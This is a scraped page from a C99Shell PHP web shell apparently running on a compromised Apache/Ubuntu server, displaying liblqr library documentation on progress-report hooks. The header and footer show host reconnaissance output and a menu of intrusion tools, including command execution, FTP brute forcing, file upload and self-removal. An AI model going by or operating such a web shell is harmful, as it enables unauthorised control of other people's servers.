!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/doc/liblqr-1-0-dev/html/   drwxr-xr-x
Free 13.01 GB of 57.97 GB (22.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     progress.html (9.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Progress indicators

Progress indicators

By default, the resizing is performed silently. However, it is possible to define progress report functions, to receive feedback while the resizing is in progress. This is done through the LqrProgress objects.

Creating and attaching a progress report object

A LqrProgress object is created through the function:

LqrProgress* lqr_progress_new(void); 
 

and can be associated to an LqrCarver object through this function:

void lqr_carver_set_progress(LqrCarver* carver,
 LqrProgress* p);
 

Setting up progress hooks

Newly created progress objects are inactive, and need to be set up.

First, hook functions have to be set, which specify the action to take as the rescaling process starts, progresses, and ends, by using the functions:

LqrRetVal lqr_progress_set_init (LqrProgress * p, LqrProgressFuncInit init_func)
LqrRetVal lqr_progress_set_update (LqrProgress * p, LqrProgressFuncUpdate update_func)
LqrRetVal lqr_progress_set_end (LqrProgress * p, LqrProgressFuncEnd end_func)
                    

as in this sample piece of code:

Example 2.12. Setting progress hooks

LqrProgress *p;

p = lqr_progress_new();
lqr_progress_set_init (p, my_init);
lqr_progress_set_update (p, my_update);
lqr_progress_set_end (p, my_end);
                        


The above example requires that the hook functions my_init, my_update and my_end are defined as in the following sample declarations:

Example 2.13. Progress hooks declaration

LqrRetVal my_init (const gchar *init_message);
LqrRetVal my_update (gdouble percentage);
LqrRetVal my_end (const gchar *end_message);
                        


Initial and ending progress messages

The init and end hooks will be called at the beginning and at the end of each rescaling operation by function lqr_carver_resize. The messages that will be passed to these hooks will change, depending if the resizing is occurring in the horizontal or in the vertical direction. The defaults for newly created LqrProgress objects are:

Table 2.2. Default progress messages

 initend
horizontal"Resizing width...""done"
vertical"Resizing height...""done"


These can be changed using these functions:

LqrRetVal lqr_progress_set_init_width_message (LqrProgress *p, const gchar * message)
LqrRetVal lqr_progress_set_init_height_message (LqrProgress *p, const gchar * message)
LqrRetVal lqr_progress_set_end_width_message (LqrProgress *p, const gchar * message)
LqrRetVal lqr_progress_set_end_height_message (LqrProgress *p, const gchar * message)
                    

Progress update step

The update hook will be called at regular intervals, and it will be passed the completion percentage as the argument.

The update step can be specified through:

LqrRetVal lqr_progress_set_update_step(LqrProgress* p,
 gfloat update_step);
 

The default step is 0.02 (i.e. 2%).


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--